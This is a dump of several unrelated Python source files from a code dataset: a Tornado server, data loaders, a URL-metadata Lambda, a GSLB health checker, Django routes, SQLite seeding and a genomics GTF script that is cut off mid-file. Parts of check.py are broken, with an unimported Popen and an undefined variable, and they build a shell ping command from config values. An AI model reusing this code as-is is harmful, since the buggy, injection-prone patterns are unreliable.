name=user['name'],\n welcome=user['welcome'],\n family=user['family'],\n username=user['username'],\n mobile=user['mobile'],\n phone=user['phone'],\n email=user['email'],\n address=user['address'],\n )\n self.status = True\n except:\n Debug.get_exception(sub_system='admin', severity='error', tags='search_news_sidebar')\n self.write(self.result)\n","sub_path":"user_app/handlers/user_management.py","file_name":"user_management.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"137834930","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n\nimport logging\nimport tornado.escape\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\nimport tornado.websocket\nimport os.path\nimport uuid\nimport json\nfrom time import time\n\nfrom tornado.options import define, options\n\ndefine(\"port\", default=8888, help=\"run on the given port\", type=int)\n\nclass Application(tornado.web.Application):\n def __init__(self):\n handlers = [\n (r\"/\", MainHandler),\n (r\"/rjson\", RJSON),\n (r\"/wjson\", WJSON),\n ]\n settings = dict(\n cookie_secret=\"__TODO:_GENERATE_YOUR_OWN_RANDOM_VALUE_HERE__\",\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n xsrf_cookies=False,\n )\n tornado.web.Application.__init__(self, handlers, **settings)\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"wemedia.html\", settings=self.application.settings)\n\nclass RJSON(tornado.web.RequestHandler):\n def get(self):\n self.set_header('Content-Type','application/json')\n rspd = {'status': 201, 'msg':'ok'}\n try:\n timestamp = int(time())\n post_dic = {\n }\n except:\n rspd['status'] = 500\n rspd['msg'] = '错误:提交数据出错'\n self.write(json.dumps(rspd))\n return\n result = get_article()\n \n if result:\n rspd['status'] = 200\n # rspd['msg'] = '%s' % str(result)\n rspd['msg'] = result\n self.write(json.dumps(rspd))\n return\n else:\n rspd['status'] = 500\n rspd['msg'] = '错误: 未知错误,请尝试重新提交'\n self.write(json.dumps(rspd))\n return\n \nclass WJSON(tornado.web.RequestHandler):\n def post(self):\n self.set_header('Content-Type','application/json')\n rspd = {'status': 201, 'msg':'ok'}\n \n try:\n timestamp = int(time())\n post_dic = {\n 'content' : self.get_argument(\"content\",\"\"),\n 'article_edit_time' : timestamp,\n }\n except:\n rspd['status'] = 500\n rspd['msg'] = '错误:提交数据出错'\n self.write(json.dumps(rspd))\n return\n\n result = put_article(post_dic)\n if result:\n # if True:\n rspd['status'] = 200\n rspd['msg'] = '完成: 你已经成功修改了这篇文章 %s' % str(result)\n self.write(json.dumps(rspd))\n return\n else:\n rspd['status'] = 500\n rspd['msg'] = '错误: 未知错误,请尝试重新提交'\n self.write(json.dumps(rspd))\n return\n\ndef main():\n tornado.options.parse_command_line()\n app = Application()\n app.listen(options.port)\n tornado.ioloop.IOLoop.current().start()\n \ndef put_article(dic):\n import os,sys\n try:\n fsock = open(\"test.json\", \"w\")\n fsock.write(str(dic))\n fsock.close()\n return \"done\"\n except:\n return None\ndef get_article():\n import os,sys\n article = \"\"\n try:\n fsock = open(\"test.json\", \"r\")\n AllLines = fsock.readlines()\n #Method 1\n # for EachLine in AllLines:\n# article = article + EachLine\n fsock.close()\n # return article\n return AllLines[0]\n except:\n return None\n \n \n \n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n# import os,sys\n#\n# try:\n# fsock = open(\"D:/SVNtest/test.py\", \"r\")\n# except IOError:\n# print \"The file don't exist, Please double check!\"\n# exit()\n# print 'The file mode is ',fsock.mode\n# print 'The file name is ',fsock.name\n# P = fsock.tell()\n# print 'the postion is %d' %(P)\n# fsock.close()\n#\n# #Read file\n# fsock = open(\"D:/SVNtest/test.py\", \"r\")\n# AllLines = fsock.readlines()\n# #Method 1\n# for EachLine in fsock:\n# print EachLine\n#\n# #Method 2\n# print 'Star'+'='*30\n# for EachLine in AllLines:\n# print EachLine\n# print 'End'+'='*30\n# fsock.close()\n#\n# #write this file\n# fsock = open(\"D:/SVNtest/test.py\", \"a\")\n# fsock.write(\"\"\"\n# #Line 1 Just for test purpose\n# #Line 2 Just for test purpose\n# #Line 3 Just for test purpose\"\"\")\n# fsock.close()\n#\n#\n# #check the file status\n# S1 = fsock.closed\n# if True == S1:\n# print 'the file is closed'\n# else:\n# print 'The file donot close'","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"627199096","text":"import os\nimport pandas as pd\n\n\nclass Olist:\n\n def get_data(self):\n \"\"\"\n This function returns a Python dict.\n Its keys should be 'sellers' 'orders' 'order_items' etc...\n Its values should be related pandas.DataFrame objects loaded from each csv files\n \"\"\"\n\n # Find the absolute path for the root dir (04-Decision-Science)\n # Uses __file__ as absolute path anchor\n root_dir = os.path.dirname(os.path.dirname(__file__))\n\n # Use os library for Unix vs. Widowns robustness\n csv_path = os.path.join(root_dir, 'data', 'csv')\n\n file_names = [f for f in os.listdir(csv_path) if f.endswith('.csv')]\n\n def key_from_file_name(f):\n if f == 'product_category_name_translation.csv':\n return 'product_category_name_translation'\n else:\n return f[6:-12]\n\n # Create the dictionary\n data = {}\n for f in file_names:\n data[key_from_file_name(f)] = pd.read_csv(os.path.join(csv_path, f))\n\n return data\n\n def get_matching_table(self):\n \"\"\"\n This function returns a matching table between\n columns [ \"order_id\", \"review_id\", \"customer_id\", \"product_id\", \"seller_id\"]\n \"\"\"\n\n data = self.get_data()\n\n # Select only the columns of interest\n orders = data['orders'][['customer_id', 'order_id']]\n reviews = data['order_reviews'][['order_id', 'review_id']]\n items = data['order_items'][['order_id', 'product_id', 'seller_id']]\n\n # Merge DataFrame\n matching_table = orders.merge(reviews, on='order_id', how='outer')\\\n .merge(items, on='order_id', how='outer')\n\n return matching_table\n\n def ping(self):\n \"\"\"\n You call ping I print pong.\n \"\"\"\n print('pong')\n","sub_path":"04-Decision-Science/olist/data_solution.py","file_name":"data_solution.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"285162687","text":"import json\nimport metadata_parser\nimport re\nfrom urllib.parse import unquote\nfrom products import common, logger\n\nlog = logger.setup_logger()\n\n\nattr_map = {\n 'site_name': [\n {'og': 'site_name'},\n {'meta': 'og:site_name'},\n {'meta': 'og:site-name'}\n ],\n 'image': [\n {'og': 'image:secure_url'},\n {'og': 'image'},\n {'meta': 'og:image:secure_url'},\n {'meta': 'og:image'}\n ],\n 'title': [\n {'og': 'title'},\n {'meta': 'og:title'}\n ],\n 'price': [\n {'meta': 'product:price:amount'},\n {'meta': 'og:price:amount'},\n {'og': 'price:amount'}\n ],\n 'currency': [\n {'meta': 'product:price:currency'},\n {'meta': 'og:price:currency'},\n {'og': 'price:currency'}\n ]\n}\n\ntitle_regex_rules = [\n '^Buy ',\n ' at KIDLY UK$'\n]\n\n\ndef handler(event, context):\n try:\n url = get_url(event)\n if blocked_urls(url):\n data = {}\n else:\n data = query(url)\n data = parse_data(data)\n response = common.create_response(200, json.dumps(data))\n except Exception as e:\n log.error(\"Exception: {}\".format(e))\n response = common.create_response(500, json.dumps({'error': str(e)}))\n return response\n\n return response\n\n\ndef blocked_urls(url):\n if 'amazon' in url:\n log.info(\"Url was in the query exclusions list.\")\n return True\n\n return False\n\n\ndef get_url(event):\n try:\n url = event['pathParameters']['url']\n log.info(\"Encoded URL: \" + url)\n except Exception:\n raise Exception('API Event did not contain a Url in the path parameters.')\n\n url = unquote(url)\n log.info(\"Decoded URL: \" + url)\n\n return url\n\n\ndef query(url):\n try:\n page = metadata_parser.MetadataParser(url=url, support_malformed=True, search_head_only=True)\n metadata = page.metadata\n log.info(\"Metadata: \" + json.dumps(metadata))\n except Exception as e:\n log.info(\"Exception: \" + str(e))\n raise Exception(\"Metadata query failed.\")\n\n return metadata\n\n\ndef parse_data(data):\n response = {}\n\n # Main rules\n for a in attr_map.keys():\n for key_names in attr_map[a]:\n for key in key_names.keys():\n name = key_names[key]\n if name in data[key]:\n response[a] = update_response(response, a, data[key][name])\n\n # Exceptional rules\n if 'site_name' not in response:\n t = get_site_name_from_page_title(data)\n if t is not None:\n response['site_name'] = t\n\n if 'price' in response:\n response['price'] = check_price(response['price'])\n\n if 'title' in response:\n response['title'] = check_title(response['title'])\n response['title'] = check_title_regex_rules(response['title'])\n\n return response\n\n\ndef update_response(response, attribute, value):\n if attribute in response:\n return response[attribute]\n else:\n if type(value) == list:\n return value[0]\n\n return value\n\n\ndef get_site_name_from_page_title(data):\n if 'page' in data:\n if 'title' in data['page']:\n title = data['page']['title']\n if '|' in title:\n return title.split(' | ')[-1]\n\n return None\n\n\ndef check_price(price):\n if price.startswith('£'):\n price = price[1:]\n\n p = \"{:.2f}\".format(float(price))\n return str(p)\n\n\ndef check_title(title):\n return title.split(' | ')[0]\n\n\ndef check_title_regex_rules(title):\n for rule in title_regex_rules:\n title = re.sub(rule, '', title)\n\n return title[:1].upper() + title[1:]\n","sub_path":"Products/products/url_metadata.py","file_name":"url_metadata.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217119566","text":"import logging\nimport socket\nimport urllib2\nimport ssl\n\nimport os\n\nimport pyping\nimport subprocess32\n\nimport time\n\nfrom powergslb.monitor.status import get_status\nimport powergslb.database\n\nimport powergslb.system\n\n# from powergslb.monitor.timeseries import RedisTimeSeries\n\n__all__ = ['CheckThread']\n\n\nclass CheckThread(powergslb.system.AbstractThread):\n \"\"\"\n PowerGSLB check thread\n \"\"\"\n\n def __init__(self, monitor, content_id, **kwargs):\n super(CheckThread, self).__init__(**kwargs)\n self._fall = 0\n self._rise = 0\n self.monitor = monitor\n self.content_id = content_id\n self.sleep_interval = self.monitor['interval']\n self.ts = powergslb.database.TimeSeries(**powergslb.system.get_config().items('redis'))\n\n def _check_fall(self):\n self._fall += 1\n self._rise = 0\n\n if self._fall >= self.monitor['fall'] and self.content_id not in get_status():\n logging.error('{}: {}: status fall'.format(self.name, self.monitor))\n get_status().add(self.content_id)\n\n def _check_rise(self):\n self._fall = 0\n self._rise += 1\n\n if self._rise >= self.monitor['rise'] and self.content_id in get_status():\n logging.info('{}: {}: status rise'.format(self.name, self.monitor))\n get_status().remove(self.content_id)\n\n def _do_exec(self):\n start = time.time()\n # rt_code = subprocess32.call(self.monitor['args'], timeout=self.monitor['timeout'])\n p = Popen(self.monitor['args'], shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT,\n timeout=self.monitor['timeout'])\n stdout, stderr = p.communicate()\n rt_code = out.returncode\n elapsed = time.time() - start\n\n logging.debug(\"content_id: %d - type: %s - elapsed: %f - stdout: %s\", self.content_id, self.monitor['type'],\n elapsed, stdout)\n\n if 'store' in self.monitor and self.monitor['store']:\n self.ts.record_response_time(self.content_id, float(stdout))\n else:\n self.ts.record_response_time(self.content_id, elapsed)\n\n return rt_code == 0\n\n def _do_http(self):\n if 'headers' in self.monitor and self.monitor['headers']:\n request = urllib2.Request(self.monitor['url'], headers=self.monitor['headers'])\n else:\n request = urllib2.Request(self.monitor['url'])\n\n start = time.time()\n response = urllib2.urlopen(request, timeout=self.monitor['timeout'], context=False)\n elapsed = time.time() - start\n\n if 'store' in self.monitor and self.monitor['store']:\n self.ts.record_response_time(self.content_id, float(response.read()))\n else:\n self.ts.record_response_time(self.content_id, elapsed * 1000.0)\n\n return True\n\n def _do_https(self):\n secure = True\n if 'headers' in self.monitor and self.monitor['headers']:\n request = urllib2.Request(self.monitor['url'], headers=self.monitor['headers'])\n else:\n request = urllib2.Request(self.monitor['url'])\n if 'secure' in self.monitor and not self.monitor['secure']:\n secure = ssl._create_unverified_context()\n\n start = time.time()\n response = urllib2.urlopen(request, timeout=self.monitor['timeout'], context=secure)\n elapsed = time.time() - start\n\n if 'store' in self.monitor and self.monitor['store']:\n self.ts.record_response_time(self.content_id, float(response.read()))\n else:\n self.ts.record_response_time(self.content_id, elapsed * 1000.0)\n\n return True\n\n def _do_icmp(self):\n try:\n ip = self.monitor['ip']\n timeout = self.monitor['timeout']\n\n icmp_avg_rtt = 0.0\n status = True\n if os.getuid() == 0:\n # Need to be root ;-(\n r = pyping.ping(ip, timeout * 1000, count=1).ret_code == 0\n icmp_avg_rtt = r.avg_rtt\n status = r.ret_code == 0\n else:\n command = \"ping -q -c 1 -w \" + str(timeout) + \" \" + ip + \" | cut -d '/' -s -f5\"\n response = subprocess32.check_output(command, shell=True, timeout=self.monitor['timeout'] + 1)\n logging.debug(\"command: %s - icmp avg_rtt: %s\", command, response)\n icmp_avg_rtt = float(response)\n\n logging.debug(\"content_id: %d - type: %s - elapsed: %f\", self.content_id, self.monitor['type'],\n float(icmp_avg_rtt))\n self.ts.record_response_time(self.content_id, float(icmp_avg_rtt))\n return status\n except SystemExit:\n raise Exception('unknown host: {}'.format(self.monitor['ip']))\n\n def _do_tcp(self):\n address = (self.monitor['ip'], self.monitor['port'])\n start = time.time()\n socket.create_connection(address, self.monitor['timeout']).close()\n elapsed = time.time() - start\n logging.debug(\"content_id: %d - type: %s - elapsed: %f\", self.content_id, self.monitor['type'],\n elapsed * 1000.0)\n self.ts.record_response_time(self.content_id, elapsed * 1000.0)\n return True\n\n def task(self):\n status = True\n try:\n if getattr(self, '_do_' + self.monitor['type'])():\n logging.debug('{}: {}: return True'.format(self.name, self.monitor))\n self.ts.record_status(self.content_id, 1)\n self._check_rise()\n else:\n logging.debug('{}: {}: return False'.format(self.name, self.monitor))\n self.ts.record_status(self.content_id, 0)\n self._check_fall()\n status = False\n except Exception as e:\n logging.debug('{}: {}: return Exception: {}: {}'.format(self.name, self.monitor, type(e).__name__, e))\n self._check_fall()\n\n # logging.debug(\"timeserie: %s\", str(self.ts.get_response_time_timeseries(self.content_id)) )\n # logging.debug(\"response time avg: %s\", str(self.ts.get_response_time_avg(self.content_id)) )\n","sub_path":"src/powergslb/monitor/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"131756528","text":"\"\"\"students_db URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom .settings import MEDIA_ROOT, MEDIA_URL, DEBUG\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, re_path\n\nfrom students.views import StudentsList, StudentCreateView, StudentDeleteView, GroupsDeleteView, GroupCreateView, \\\n GroupUpdateView, JournalView, GroupsList, ExamsList, ExamCreateView, ExamUpdateView, ExamDeleteView, ResultList, \\\n ResultCreateView, ResultUpdateView, ResultDeleteView\n\nfrom students.views import contact_admin\n\nfrom students.views import StudentUpdateView\n\n\nurlpatterns = [\n # Students url\n re_path(r'^$', StudentsList.as_view(), name=\"home\"),\n re_path(r'^students/add/$', StudentCreateView.as_view(), name='students_add'),\n re_path(r'^students/(?P\\d+)/edit/$', StudentUpdateView.as_view(), name='students_edit'),\n re_path(r'^students/(?P\\d+)/delete/$', StudentDeleteView.as_view(), name='students_delete'),\n\n # Groups url\n re_path(r'^groups/$', GroupsList.as_view(), name=\"groups\"),\n re_path(r'^groups/add/$', GroupCreateView.as_view(), name='groups_add'),\n re_path(r'^groups/(?P\\d+)/edit/$', GroupUpdateView.as_view(), name='groups_edit'),\n re_path(r'^groups/(?P\\d+)/delete/$', GroupsDeleteView.as_view(), name='groups_delete'),\n\n # Visiting url\n re_path(r'^journal/(?P\\d+)?/?$', JournalView.as_view(), name='journal'),\n\n # Exams url\n re_path(r'^exams/$', ExamsList.as_view(), name=\"exams\"),\n re_path(r'^exams/add/$', ExamCreateView.as_view(), name='exams_add'),\n re_path(r'^exams/(?P\\d+)/edit/$', ExamUpdateView.as_view(), name=\"exams_edit\"),\n re_path(r'^exams/(?P\\d+)/delete/$', ExamDeleteView.as_view(), name=\"exams_delete\"),\n\n # Results url\n re_path(r'^results/$', ResultList.as_view(), name=\"results\"),\n re_path(r'^results/add/$', ResultCreateView.as_view(), name='results_add'),\n re_path(r'^results/(?P\\d+)/edit/$', ResultUpdateView.as_view(), name=\"results_edit\"),\n re_path(r'^results/(?P\\d+)/delete/$', ResultDeleteView.as_view(), name=\"results_delete\"),\n\n re_path(r'^contact-admin/$', contact_admin, name='contact_admin'),\n\n path('admin/', admin.site.urls), \n]\n\nif DEBUG:\n # serve files from media folder urlpatterns += patterns(’’,\n urlpatterns += static(MEDIA_URL, document_root=MEDIA_ROOT)\n","sub_path":"students_db/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"549821527","text":"#Conversion de grados\n#Elaboró: Juan Jesús Gómez Sánchez\n#GDS0152\n#20/20/2020\n\nclass inicialesConversion:\n def conversion_grados(self):\n c = int(input(\"Ingresa La Temperatura En Grados Celsius: \"))\n f = 9.0/5.0 * c + 32\n print(\"{}°C Es Equivalente A {}°F\".format(c, f))\n\n f = int(input(\"Ingresa La Temperatura En Grados Fahrenheit: \"))\n c = (f - 32) * 5.0/9.0\n print(\"{}°F Es Equivalente A {}°C\".format(f, c))\n\nfa = inicialesConversion()\nfa.conversion_grados()\n","sub_path":"iniciales_conversion.py","file_name":"iniciales_conversion.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104879849","text":"import sqlite3\nimport time\nimport timeit\n\nusernames = [\n 'Ace',\n 'Amy',\n 'Ana',\n 'Ann',\n 'Bea',\n 'Ben',\n 'Bob',\n 'Bud',\n 'Dan',\n 'Doc',\n 'Don',\n 'Eve',\n 'Fay',\n 'Gus',\n 'Hal',\n 'Jon',\n 'Kim',\n 'Lee',\n 'Leo',\n 'Lou',\n 'Luc',\n 'Max',\n 'Meg',\n 'Mel',\n 'Mia',\n 'Moe',\n 'Ray',\n 'Rob',\n 'Ron',\n 'Roy',\n 'Sal',\n 'Sam',\n 'Sid',\n 'Ted',\n 'Tim',\n 'Tod',\n 'Tom',\n 'Vic',\n 'Zed',\n 'Zoe'\n]\n\nprojects = [\n 'Alien',\n 'Avatar',\n 'Batman',\n 'Brazil',\n 'Fargo',\n 'Goodfellas',\n 'Manhattan',\n 'Memento',\n 'Oldboy',\n 'Psycho',\n 'Superman',\n 'Thor',\n 'Titanic',\n 'Tron',\n 'Twins',\n 'Vertigo',\n 'Watchmen',\n 'Zombieland',\n]\n\ndepartment = [\n 'anim',\n 'comp',\n 'dev',\n 'fx',\n 'lighting',\n 'mm',\n 'model',\n 'roto',\n]\n\ntask = [\n 'anim',\n 'cleanup',\n 'cloth',\n 'cloud',\n 'comp',\n 'dust',\n 'fluid',\n 'grade',\n 'hair',\n 'light',\n 'lookdev',\n 'particles',\n 'render',\n 'rgb',\n 'rig',\n 'roto',\n 'sim',\n 'techanim',\n 'track',\n 'water',\n]\n\nSCHEMA = \"\"\"\nDROP TABLE IF EXISTS user;\nDROP TABLE IF EXISTS project;\nDROP TABLE IF EXISTS task;\nDROP TABLE IF EXISTS department;\n\nCREATE TABLE user (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT UNIQE\n);\n\nCREATE TABLE project (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT UNIQE\n);\n\nCREATE TABLE task (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT UNIQE\n);\n\nCREATE TABLE department (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n name TEXT UNIQE\n);\n\"\"\"\n\n\nDB_FILE ='vfxhouse.db'\n\n\ndef timer(func):\n def wrapper(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n print ('::', func.__name__, '--> elapsed time:', time.time() - start)\n return result\n return wrapper\n\n\n@timer\ndef create_db():\n with sqlite3.connect(DB_FILE) as con:\n cursor = con.cursor()\n cursor.executescript(SCHEMA)\n\n\n@timer\ndef fill_table_user():\n sql_template = 'INSERT INTO user VALUES ({id}, \"{name}\");\\n'\n sql = ''\n\n for idx, name in enumerate(usernames):\n sql = sql + sql_template.format(id=idx, name=name)\n\n with sqlite3.connect(DB_FILE) as con:\n cursor = con.cursor()\n cursor.executescript(sql)\n\n\n@timer\ndef fill_table_user_2():\n sql_template = 'INSERT INTO user VALUES ({id}, \"{name}\");'\n\n with sqlite3.connect(DB_FILE) as con:\n cursor = con.cursor()\n\n for idx, name in enumerate(usernames):\n sql = sql_template.format(id=idx, name=name)\n cursor.execute(sql)\n\n@timer\ndef fill_table_user_3():\n sql_template = 'INSERT INTO user VALUES (?, ?);'\n data = [(idx, name) for idx, name in enumerate(usernames)]\n\n with sqlite3.connect(DB_FILE) as con:\n cursor = con.cursor()\n\n cursor.executemany(sql_template, data)\n # for idx, name in enumerate(usernames):\n # sql = sql_template.format(id=idx, name=name)\n # cursor.execute(sql)\n\n\n\ndef main():\n create_db()\n fill_table_user()\n create_db()\n fill_table_user_2()\n create_db()\n fill_table_user_3()\n\n # stmt, setup = 'fill_table_user()', 'from __main__ import fill_table_user'\n # t1 = timeit.repeat(stmt=stmt, setup=setup, repeat=3, number=5)\n # print('\\n'.join([str(k) for k in t1]))\n\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"vfx_house/vfxhouse_db.py","file_name":"vfxhouse_db.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"321089069","text":"# -*- coding: utf-8 -*-\n# __author__ = fiona\n# time: 2017/3/24 14:42\n\n\nfrom __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import print_function\nimport argparse\nimport subprocess\nimport re\nimport time\nimport os, pickle\n\n'''\n此脚本主要用作cufflinks的merged.gtf 转换ID使用。\n原则如下:\n1. class code 为=时,认为此转录本是ref.gtf中的已知转录本,则gene/transcript name/ID 都要替换为ref.gtf中的ID和name。其中gene id 来源于 记录中gene name 在ref.gtf 对应的gene ID,\ntxpt 的ID为 记录中的oId\n2. class code 为u时,不改变记录\n3. 其他情况只替换其gene name\n使用说明:\n因merged.gtf较大,因此将其劈成指定行数的小文件集合,同步进行修饰,增加速度\n参数:-s 处理脚本 必须在一起合用 是change_id.py 的路径\n -tmp name 暂存文件的文件夹名字 绝对路径为merged。gtf 的文件夹路径下的name文件夹\n -rm 是否结束程序后删除 暂存文件夹\n -lines merged gtf 被split后,每个小文件里有多少行内容\n \n使用命令举例:\npython main_merge_id_modify.py -tmp tem_folder_0328_no_raise -merge merged.gtf -out_merge new_jin_cufflinks_0328_no_raise.gtf -ref_gtf ref.gtf -s change_id.py -combined cuffcmp.annotated.gtf -batch_no 5 > new_jin_cufflinks_0328_no_raise.log\n \n'''\n\n\n# file_path = \"F:\\\\code_lib\\\\merged.gtf\"\n# new_file_path = \"F:\\\\code_lib\\\\new_merged.gtf\"\n# ref_gtf = \"F:\\\\code_lib\\\\ref.gtf\"\n\n# =================函数区==================\ndef get_gname_gid_dic_from_ref_gtf_cuff(ref):\n d = {}\n for line in open(ref):\n gene_id_m = re.search(r'gene_id\\s+\\\"(\\S+)\\\"', line.strip())\n gname_m = re.search(r'gene_name\\s+\\\"(\\S+)\\\"', line.strip())\n # if gene_id_m and gname_m:\n gname = gname_m.group(1)\n gene_id = gene_id_m.group(1)\n # if gname in d.keys() and d[gname] != gene_id:\n # raise Exception('ref.gtf 中的gene_name {} 有一个以上的gene_id: {} and {}'.format(gname, d[gname], gene_id))\n d[gname] = gene_id\n # else:\n # raise Exception('ref gtf文件不合法的第九列: {},没有完整的gene id 和gene_name 记录'.format(line.strip()))\n return d\n\n\ndef get_gname_gid_dic_from_ref_gtf(ref_gtf):\n d = {}\n for line in open(ref_gtf):\n gene_id_m = re.search(r'gene_id\\s+\\\"(\\S+)\\\"', line.strip())\n gname_m = re.search(r'gene_name\\s+\\\"(\\S+)\\\"', line.strip())\n txpt_id_m = re.search(r'transcript_id\\s+\\\"(\\S+)\\\"', line.strip())\n if gene_id_m and gname_m and txpt_id_m:\n gname = gname_m.group(1)\n gene_id = gene_id_m.group(1)\n txpt_id = txpt_id_m.group(1)\n # if txpt_id in d.keys() and d[txpt_id] != {'gene_id': gene_id, 'gname': gname}:\n # raise Exception('ref.gtf 中的transcript id {} 有一个以上的gene_info: {} and {}'.format(txpt_id, d[txpt_id],\n # {'gene_id': gene_id,\n # {'gene_id': gene_id,\n # 'gname': gname}))\n d[txpt_id] = {'gene_id': gene_id, 'gname': gname}\n else:\n raise Exception('ref gtf文件不合法的第九列: {},没有完整的gene id 和gene_name 记录'.format(line.strip()))\n return d\n\n\ndef split_merged_gtf(f, line_num, tmp_dir_name, name_prefix):\n tmp_dir = os.path.join(os.path.dirname(f), tmp_dir_name)\n abs_prefix = os.path.join(tmp_dir, name_prefix)\n if not os.path.isdir(tmp_dir):\n os.mkdir(tmp_dir)\n else:\n subprocess.call('rm -r {}'.format(tmp_dir),shell=True)\n os.mkdir(tmp_dir)\n subprocess.call('split -l {} {} {}'.format(line_num, f, abs_prefix), shell=True)\n chunk_files = [os.path.join(tmp_dir, chunk) for chunk in os.listdir(tmp_dir)]\n return chunk_files, tmp_dir\n\n\ndef write_dic_to_pk(pk_file, dic):\n with open(pk_file, 'wb') as handle:\n pickle.dump(dic, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef get_dic_from_combined_gtf(combined_gtf):\n d = {}\n for line in open(combined_gtf):\n if re.search(r'\\t+transcript\\t+', line):\n cls = re.search(r'class_code\\s+\\\"(\\S+)\\\";', line).group(1)\n internal_txpt_id = re.search(r'transcript_id\\s+\\\"(\\S+)\\\";', line).group(1)\n ref_txpt_id_m = re.search(r'cmp_ref\\s+\\\"(\\S+)\\\";', line)\n ref_txpt_id = ''\n if ref_txpt_id_m:\n ref_txpt_id = ref_txpt_id_m.group(1)\n d[internal_txpt_id] = {'ref_txpt_id': ref_txpt_id, 'cls': cls}\n \n #\n # # if (re.match(r'^\\-$', ref_gene_name) or re.match(r'^\\-$', ref_txpt_id)) and re.match(r'^[^u]$', cls_code):\n # # raise Exception('{} 文件中出现非u转录本无参考基因name和参考转录本id的情况')\n # if not re.match(r'^-$', ref_txpt_id) and re.match(r'^-$', internal_txpt_id):\n # d[internal_txpt_id] = ref_txpt_id\n return d\n\n\n# =============================主函数=====================\nif __name__ == '__main__':\n time1 = time.time()\n parser = argparse.ArgumentParser(description=\"file\")\n parser.add_argument(\"-merge\", \"--merged_gtf\", help=\"input merged gtf \", required=True)\n parser.add_argument(\"-out_merge\", \"--new_merged_gtf\", help=\"out new merged gtf\", required=True)\n parser.add_argument(\"-ref_gtf\", \"--ref_gtf\", help=\"ref_gtf\", required=True)\n parser.add_argument(\"-s\", \"--trans_script\", help=\"trans content script path\", required=True)\n parser.add_argument(\"-tmp\", \"--tmp_dir\", help=\"temp dir name\", default='temp_folder')\n parser.add_argument(\"-rm\", \"--rm_tmp\", help=\"rm temp dir or not,default is true(1),false is 0 \", default=0)\n parser.add_argument(\"-lines\", \"--split_line_number\",\n help=\"split big file to how many lines per file default is 40000 \", default=40000)\n # parser.add_argument(\"-method\", \"--method\", help=\"gtf source tool: cufflinks|stringtie\", required=True)\n # parser.add_argument(\"-combined_gtf \", \"--combined_gtf _file\", help=\"combined_gtf _file, src 为combined_gtf 时需要设定有意义的值\", default=None)\n parser.add_argument(\"-combined\", \"--combined_gtf\", help=\"combined.gtf file\", required=True)\n parser.add_argument(\"-batch_no\", \"--batch_no\", help=\"batch_no\", required=True)\n \n args = vars(parser.parse_args())\n file_path = args[\"merged_gtf\"]\n new_file_path = args[\"new_merged_gtf\"]\n ref_gtf = args[\"ref_gtf\"]\n trans_script = args['trans_script']\n tmp_dir = args['tmp_dir']\n rm = args['rm_tmp']\n line_number = int(args['split_line_number'])\n # method = args['method']\n combined_gtf = args['combined_gtf']\n batch_no = int(args['batch_no'])\n \n print('开始劈开merged.gtf')\n chunk_files_lst, tmp_folder = split_merged_gtf(file_path, line_number, tmp_dir, 'chunk_file_')\n tmp_ref_gtf = os.path.join(tmp_folder, 'temp_ref.gtf')\n ref_tmp_cmd = \"\"\" awk -F '\\t' 'NF>=9{print $9}' %s | uniq > %s \"\"\" % (ref_gtf, tmp_ref_gtf)\n print('结束劈开merged.gtf')\n print('开始awk ref.gtf')\n ref_tmp_content = subprocess.check_output(ref_tmp_cmd, shell=True).split('\\n')\n print('ref gtf 暂时文件读取完毕')\n txpt_gname_gid_dic = get_gname_gid_dic_from_ref_gtf(tmp_ref_gtf)\n print('ref gtf 信息装载完毕')\n ref_dic_pickle = os.path.join(tmp_folder, 'ref_gname_gid_dic.pk')\n write_dic_to_pk(ref_dic_pickle, txpt_gname_gid_dic)\n print('ref 的info dic字典对象已保存,保存地址为{}'.format(ref_dic_pickle))\n \n # if re.match(r'^\\s*stringtie\\s*$', method) and (not combined_gtf _file):\n # raise Exception('当merged.gtf为stringtie结果时,combined_gtf file文件路径必须设定')\n # if re.match(r'^\\s*stringtie\\s*$', method):\n # combined_gtf _content_dic = get_dic_from_cmp_gtf (combined_gtf _file)\n # combined_gtf 